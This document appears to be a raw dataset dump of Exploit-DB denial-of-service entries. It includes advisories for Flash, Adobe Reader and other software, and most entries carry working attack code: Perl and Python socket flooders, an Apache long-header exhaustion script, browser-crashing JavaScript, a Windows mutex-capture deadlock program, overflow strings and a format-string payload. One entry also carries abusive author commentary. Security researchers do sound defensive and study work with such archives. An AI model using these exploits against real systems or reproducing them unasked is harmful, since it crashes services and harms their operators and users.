deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41012
Description: Adobe Flash Player 24.0.0.186 - 'ActionGetURL2' Out-of-Bounds Memory Corruption (2)
Type: dos
Platform: multiple
Date: 2017-01-11
Author: COSIG

Exploit:
Source: https://cosig.gouv.qc.ca/en/cosig-2017-01-en/

#####################################################################################

# Application: Adobe Flash Player
# Platforms: Windows,OSX
# Versions: 24.0.0.186 and earlier
# Author: Francis Provencher of COSIG
# Website: https://cosig.gouv.qc.ca/en/advisory/
# Twitter: @COSIG_
# Date: January 10, 2017
# CVE-2017-2930
# COSIG-2016-35

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

================
1) Introduction
================

Adobe Flash Player (labeled Shockwave Flash in Internet Explorer and Firefox) is a freeware software for using content created
on the Adobe Flash platform, including viewing multimedia, executing rich Internet applications, and streaming video and audio.
Flash Player can run from a web browser as a browser plug-in or on supported mobile devices.[7] Flash Player was created by Macromedia
and has been developed and distributed by Adobe Systems since Adobe acquired Macromedia.

(https://en.wikipedia.org/wiki/Adobe_Flash_Player)

#####################################################################################

============================
2) Rapport de Coordination
============================

2016-11-13: Francis Provencher of COSIG report this vulnerability to Adobe PSIRT;
2016-11-14: Adobe PSIRT confirm this vulnerability;
2017-01-10: Adobe publish a patch (APSB17-02);
2017-01-10: Advisory released by COSIG;

#####################################################################################

=====================
3) Technical details
=====================

The vulnerability allows a remote attacker to execute malicious code or access to a part of the dynamically allocated memory using a user interaction
visiting a Web page or open a specially crafted SWF file, an attacker is able to create an “out of bound” memory corruption. A file with an “ActionRecord”
structure that contain an invalid value in “ActionGetURL2” could lead to remote code execution in the context of the current user.

#####################################################################################

===========
4) POC:
===========

https://cosig.gouv.qc.ca/wp-content/uploads/2017/01/COSIG-2017-01.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41012.zip

####################################################################################
Exploit-DB #39799
Description: Adobe Reader DC 15.010.20060 - Memory Corruption
Type: dos
Platform: multiple
Date: 2016-05-10
Author: Pier-Luc Maltais

Exploit:
########################################################################################
  
# Title: Adobe Reader DC <= 15.010.20060 - Memory corruption
# Application: Adobe Reader DC
# Version: 15.010.20060 and earlier versions
# Platform: Windows and Macintosh
# Software Link: https://acrobat.adobe.com/ca/fr/acrobat/pdf-reader.html
# Date: May 10, 2016
# CVE: CVE-2016-1077
# Author: Pier-Luc Maltais from COSIG
# Contact: https://twitter.com/COSIG_
# Personal contact: https://twitter.com/plmaltais
  
########################################################################################
  
===================
Introduction:
===================
 More powerful than other PDF software, Adobe Acrobat Reader DC is the free, trusted 
 standard for viewing, printing and annotating PDFs. And now, it’s connected to Adobe 
 Document Cloud — so it’s easier than ever to work with PDFs on computers and mobile 
 devices. (https://acrobat.adobe.com/ca/en/acrobat/pdf-reader.html)
 
########################################################################################
  
===================
Report Timeline:
===================
 2016-02-04: Pier-Luc Maltais from COSIG found the issue and report it to Adobe PSIRT.
 2016-05-10: Vendor fixed the issue (APSB16-14).
 2016-03-08: Release of this advisory.
 
########################################################################################
  
===================
Technical details:
===================
 A memory corruption occurs when Adobe Reader DC handle a specially crafted image 
 XObject, which could lead to remote code execution.
  
########################################################################################
  
==========
POC:
==========
https://plmsecurity.net/sites/plmsecurity.net/files/APSB16-14_PoC.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39799.zip
  
########################################################################################
Exploit-DB #30139
Description: Agnitum Outpost Firewall 4.0 - Outpost_IPC_HDR Local Denial of Service
Type: dos
Platform: multiple
Date: 2007-06-04
Author: Matousec Transparent security

Exploit:
// source: https://www.securityfocus.com/bid/24284/info

Outpost Firewall is prone to a local denial-of-service vulnerability.

An attacker can exploit this issue to block arbitrary processes, denying service to legitimate users.

This issue affects Outpost Firewall 4.0 build 1007.591.145 and build 964.582.059; other versions may also be affected. 

/*

 Testing program for Enforcing system reboot with \"outpost_ipc_hdr\" mutex (BTP00002P004AO)
 

 Usage:
 prog
   (the program is executed without special arguments)

 Description:
 This program calls standard Windows API to open and capture mutex. Then an attempt to create a child process 
 causes the deadlock. To terminate this testing program and to release the mutex press Ctrl+C.

 Test:
 Running the testing program.

*/

#include <stdio.h>
#include <windows.h>
#include <ddk/ntapi.h>

void about(void)
{
  printf("Testing program for Enforcing system reboot with \"outpost_ipc_hdr\" mutex (BTP00002P004AO)\n");
  printf("Windows Personal Firewall analysis project\n");
  printf("Copyright 2007 by Matousec - Transparent security\n");
  printf("http://www.matousec.com/""\n\n");
  return;
}

void usage(void)
{
  printf("Usage: test\n"
         "  (the program is executed without special arguments)\n");
  return;
}


void print_last_error()
{
  LPTSTR buf;
  DWORD code=GetLastError();
  if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
  {
    fprintf(stderr,"Error code: %ld\n",code);
    fprintf(stderr,"Error message: %s",buf);
    LocalFree(buf);
  } else fprintf(stderr,"Unable to format error message for code %ld.\n",code);
  return;
}


HANDLE capture_mutex(char *name)
{
  wchar_t namew[MAX_PATH];
  snwprintf(namew,MAX_PATH,L"%S",name);
  UNICODE_STRING uniname;
  RtlInitUnicodeString(&uniname,namew);

  OBJECT_ATTRIBUTES oa;
  InitializeObjectAttributes(&oa,&uniname,OBJ_CASE_INSENSITIVE | OBJ_OPENIF,0,NULL);
  HANDLE mutex;
  DWORD access=MUTANT_ALL_ACCESS;
  NTSTATUS status=ZwOpenMutant(&mutex,access,&oa);
  if (!NT_SUCCESS(status)) return 0;
  printf("Mutex opened.\n");
  if (WaitForSingleObject(mutex,5000)==WAIT_OBJECT_0) return mutex;
  ZwClose(mutex);
  return NULL;
}


int main(int argc,char **argv)
{
  about();

  if (argc!=1)
  {
    usage();
    return 1;
  }

  while (1)
  {
    HANDLE mutex=capture_mutex("\\BaseNamedObjects\\outpost_ipc_hdr");
    if (mutex)
    {
      printf("Mutex captured.\n"
             "Running system shell. This action will block the system.\n");

      WinExec("cmd",SW_NORMAL);
    } else
    {
      fprintf(stderr,"Unable to capture \"outpost_ipc_hdr\" mutex.\n");
      break;
    }
  }

  printf("\nTEST FAILED!\n");
  return 1;
}
Exploit-DB #24388
Description: aGSM 2.35 Half-Life Server - Info Response Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2004-08-20
Author: Dimetrius

Exploit:
source: https://www.securityfocus.com/bid/10989/info

aGSM is reported prone to a remote buffer overflow vulnerability. The issue presents itself in the aGSM server information parsing routines for Half-Life game servers. Due to a lack of sufficient bounds checking performed on the hostname parameter in a server reply to an info request, a malicious server may execute arbitrary code on an affected client.

It should be noted that although aGSM version 2.35c is reported prone to this vulnerability, other versions might also be affected.

For the following query:
\xFF\xFF\xFF\xFFinfo\x00
The following response is sent:
\xff\xff\xff\xffA\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Exploit-DB #35437
Description: Air Contacts Lite - HTTP Packet Denial of Service
Type: dos
Platform: multiple
Date: 2011-02-09
Author: Rodrigo Escobar

Exploit:
source: https://www.securityfocus.com/bid/46827/info

Air Contacts Lite is prone a denial-of-service vulnerability.

Successful exploits may allow an attacker to crash the affected application, resulting in a denial-of-service condition. 

#!/usr/bin/perl
use IO::Socket;
      if (@ARGV < 1) {
              usage();
      }
      $ip     = $ARGV[0];
      $port   = $ARGV[1];
      print "[+] Sending request...\n";
      $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";
      print $socket "GET http://www.example.com. HTTP/1.1\r\n";
      print $socket "Host: http://www.example.com.\r\n";
      print $socket "Content-Length: 0\x78\x41\x71\x69\r\n\r\n";
      sleep(2);
      close($socket);
      print "[+] Done!\n";

sub usage() {
      print "[-] example - Air Contacts Lite (DoS)\n\n";
      print "[-] Usage: <". $0 ."> <host> <port>\n";
      print "[-] Example: ". $0 ." 127.0.0.1 80\n";
      exit;
}
Exploit-DB #30566
Description: Alien Arena 2007 6.10 - Multiple Remote Vulnerabilities
Type: dos
Platform: multiple
Date: 2007-09-05
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/25559/info

Alien Arena 2007 is prone to multiple remote vulnerabilities, including a denial-of-service vulnerability and a format-string vulnerability.

Successfully exploiting these issues will allow an attacker to execute arbitrary code within the context of the affected application or to disconnect users from the game server.

Alien Arena 2007 6.10 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30566.zip
Exploit-DB #12491
Description: All browsers - Crash
Type: dos
Platform: multiple
Date: 2010-05-03
Author: Inj3ct0r

Exploit:
===============================
All browsers 0day Crash Exploit
===============================
[+] Discovered By: Inj3ct0r Team

@Title: All browsers 0day Crash Exploit


@Site: http://site.securityspl0its.com/ - http://forum.securityspl0its.com/ - http://inj3ct0r.com/

@Exploit for all browsers (Tested on: Mozilla Firefox // Internet Explorer // Google Chrome // Netscape // Opera):
<body onload="javascript:DoS();"></body>
 
<script>
 
function DoS() {
 
var buffer = '\x42';
for (i =0;i<666;i++) {
buffer+=buffer+'\x42';
document.write('<html><marquee><h1>'+buffer+buffer);
}
 
}
 
</script>
Exploit-DB #12493
Description: All Browsers - Long Unicode Denial of Service (PoC)
Type: dos
Platform: multiple
Date: 2010-05-03
Author: Dr_IDE

Exploit:
<html>
<title>Dr_IDE - All Browsers - Long Unicode DoS PoC</title>
<head>
<script>
function boom()
 {
 //The number of strings increases the amount of memory consumed, quicker crash where applicable.
	var longunistring1 = unescape("%u4141%u4141");
	var longunistring2 = unescape("%u4242%u4242");
	var longunistring3 = unescape("%u4343%u4343");
	var longunistring4 = unescape("%u4444%u4444");
	
	for(i=0; i <= 60 ; ++i) //This number is very sensitive. If you go far over 60 IE won't "work"
 {
		longunistring1+=longunistring1;
		longunistring2+=longunistring2;
		longunistring3+=longunistring3;
		longunistring4+=longunistring4;
		document.write(longunistring1);
		document.write(longunistring2);
		document.write(longunistring3);
		document.write(longunistring4);
	}     
	document.write(longunistring1);
	document.write(longunistring2);
	document.write(longunistring3);
	document.write(longunistring4);
}
</script>
</head>
<body onLoad="boom()">
<br>Tested on Windows 7:
<br>Firefox 3.6.4		(CrashReporter)
<br>IE 8.0.7600.16385 	(Hangs, must quit)
<br>Lunascape6			(Crashes with Gecko Engine)[Firefox mode]
<br>Lunascape6			(Crashes with Webkit Engine)[Safari mode] 
<br>Lunascape6			(Crashes with Trident Engine)[IE mode]
<br>Opera 10.51			(Hangs, must kill)
<br>Safari 4.0.5		(Hangs, must kill)
</body>
</html>
Exploit-DB #20610
Description: Allaire JRun 3.0 Servlet - Denial of Service
Type: dos
Platform: multiple
Date: 2000-10-31
Author: Allaire Security

Exploit:
source: https://www.securityfocus.com/bid/2337/info

A denial of service condition exists in the JRun web application server. Requesting multiple malformed URLs by way of the java servlet, will cause the JRun application server to stop responding.

http://target/servlet/........... (many "."s)
Exploit-DB #35086
Description: Allegro RomPager 4.07 - UPnP HTTP Request Remote Denial of Service
Type: dos
Platform: multiple
Date: 2010-12-08
Author: Ricky-Lee Birtles

Exploit:
source: https://www.securityfocus.com/bid/45309/info

Allegro RomPager is prone to a remote denial-of-service vulnerability.

Successfully exploiting this issue allows remote attackers to reboot affected devices, resulting in a denial-of-service condition. 

require 'net/https'

url = URI.parse("http://IP/")
data = nil
headers = {
	"Host" => "IP",
	"Authorization" => "Basic

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}

res = Net::HTTP.start(url.host, url.port) do |http|
	http.use_ssl = false
	http.send_request("GET", url.path, data, headers)
end

puts res.body
Exploit-DB #7467
Description: Amaya Web Browser 10.0.1/10.1-pre5 - HTML Tag Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2008-12-15
Author: webDEViL

Exploit:
Amaya Web Browser html tag overflow (quite a few tags are vulnerable)

(gdb) i r
eax            0x41414141   [PII_REDACTED]
ecx            0x0    0
edx            0xbfc0ff80    [PII_REDACTED]
ebx            0x9ec1220    166466080
esp            0xbfc10064    0xbfc10064
ebp            0xbfc10268    0xbfc10268
esi            0xa2f64a0    170878112
edi            0xbfc10160    [PII_REDACTED]
eip            0x8144b40    0x8144b40 <EndOfHTMLAttributeValue(char*, _AttributeMapping*, int*, int*, bool, _ParserData*, bool)+2352>
eflags         0x10246    [ PF ZF IF RF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51
(gdb) x/10x $ebp
0xbfc10268:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfc10278:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfc10288:    0x41414141    0x41414141


#cat test.html
<bdo dir="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" >webDEViL</bdo>

# milw0rm.com [2008-12-15]
Exploit-DB #27094
Description: AmbiCom Blue Neighbors 2.50 build 2500 - BlueTooth Stack Object Push Buffer Overflow
Type: dos
Platform: multiple
Date: 2006-01-16
Author: Kevin Finisterre

Exploit:
source: https://www.securityfocus.com/bid/16258/info

AmbiCom Blue Neighbors Bluetooth stack is prone to a buffer overflow vulnerability. The issue exists in the Object Push Service.

This issue allows remote attackers to execute arbitrary code in the context of the vulnerable application. Failed exploitation attempts likely result in the application or device crashing. 

ussp-push 00:10:7A:5C:04:92@1 B `perl -e 'print "A" x 261 . "ZZ"'`
Exploit-DB #33086
Description: America's Army 3.0.4 - Invalid Query Remote Denial of Service
Type: dos
Platform: multiple
Date: 2009-06-06
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/35703/info

America's Army is prone to a remote denial-of-service vulnerability because the application fails to properly handle invalid queries.

Exploiting this issue allows remote attackers to cause the application to crash, effectively denying service to legitimate users.

America's Army 3.0.4 and prior versions are vulnerable. 

echo blah | nc SERVER 39300 -v -v -u
Exploit-DB #37692
Description: aMSN - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2006-01-01
Author: Braulio Miguel Suarez Urquijo

Exploit:
source: https://www.securityfocus.com/bid/55381/info

aMSN is prone to a remote denial-of-service vulnerability.

A successful exploit of this issue allows remote attackers to crash the affected application, denying service to legitimate users. 

#!/usr/bin/perl
use IO::Socket;

$x = 0;
print q(
**************************************
* AMSN REMOTE DOS XPL *
* BY *
* Red-Point *
* red-point@odiameporserelite.org *
**************************************
);

print q(Victim IP: );
$hos = <STDIN>;
chop ($hos);

print q( );
$type = seC0de;
chop ($type);

if($type == seC0de){
 while($x != 9999999){

  $postit = "";
  $lrg = length $postit;
  my $sock = new IO::Socket::INET (
                                 PeerAddr => "$hos",
                                 PeerPort => "6891",
                                 Proto => "tcp",
                                );

  die "\nEl host esta fuera de servicio o no estas conectado a internet $!\n" unless $sock;

  print $sock "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D".
    "\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00".
    "\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44".
    "\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47".
    "\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00".
    "\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48".
    "\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E".
    "\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A".
    "\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49".
    "\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A".
    "\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D".
    "\x49\x48\x44\x52";
  close($sock);
  syswrite STDOUT, "|";
  $x++;
 }
}
else{
        die " \n";
}
Exploit-DB #29875
Description: AMSN 0.96 - Malformed Message Denial of Service
Type: dos
Platform: multiple
Date: 2007-04-21
Author: Levent Kayan

Exploit:
source: https://www.securityfocus.com/bid/23583/info

aMsn is prone to a remote denial-of-service vulnerability because the application fails to handle exceptional conditions.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects aMsn 0.96 and prior versions.

import socket

HOST = 'victim.com'
PORT = 31337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
i = 1
while i <= 3:
   s.send('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ[PII_REDACTED]\
          ?!"?$%&/()=?`#+#-.,;:_??????%X%X%X%X%X%XXX%X%x%x%x%x%x%x%x%x%x%n%n%n\
          %n%n%n%n%n%n\????#?[{#?]?#\`~??')

---fuck off here---

I think it were the character '}', '{' or '%x', '%n'. Try to determine this for
yourself! Don't bug me with this shit.

/* Vendor contacted? */
NO! Why should I contact them? :) lol, go away and contact them yourself.

/* EOF */
Exploit-DB #31100
Description: Anon Proxy Server 0.100/0.102 - Remote Authentication Buffer Overflow
Type: dos
Platform: multiple
Date: 2008-02-04
Author: L4teral

Exploit:
source: https://www.securityfocus.com/bid/27593/info

Anon Proxy Server is prone to a remote buffer-overflow vulnerability because the application fails to sufficiently bounds-check user-supplied input.

Successful exploits allow remote attackers to execute arbitrary code in the context of the vulnerable application, facilitating the compromise of affected computers.

Versions prior to Anon Proxy Server 0.103 are vulnerable to this issue. 

print "A" x 430 . '"' x 29 . "A" x 40 . "\n"
Exploit-DB #360
Description: Apache - Arbitrary Long HTTP Headers (Denial of Service)
Type: dos
Platform: multiple
Date: 2004-07-22
Author: bkbll

Exploit:
#/usr/bin/perl
#
#exploit for apache ap_get_mime_headers_core() vuln
#
#adv is here: http://www.guninski.com/httpd1.html
#
#version: apache 2 <2.0.49 apache 1 not tested.
#
#by bkbll bkbll#cnhonker.net http://www.cnhonker.com
#
#tail -f /var/log/messages
#Jul 1 17:43:16 www kernel: Out of Memory: Killed process 658 (httpd)
#

use IO::Socket::INET;

$host="10.10.10.114";
$port=80;
$sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port, Proto => 'tcp') || die "new error$@\n";
binmode($sock);
$hostname="Host: $host";
$buf2='A'x50;
$buf4='A'x8183;
$len=length($buf2);
$buf="GET / HTTP/1.1\r\n";
send($sock,$buf,0) || die "send error:$@\n";
for($i= 0; $i < 2000000; $i++)
{
    $buf=" $buf4\r\n";
    send($sock,$buf,0) || die "send error:$@, target maybe have been D.o.S?\n";
}
$buf="$hostname\r\n";
$buf.="Content-Length: $len\r\n";

$buf.="\r\n";
$buf.=$buf2."\r\n\r\n";

send($sock,$buf,0) || die "send error:$@\n";
print "Ok, our buffer have send to target \n";
close($sock);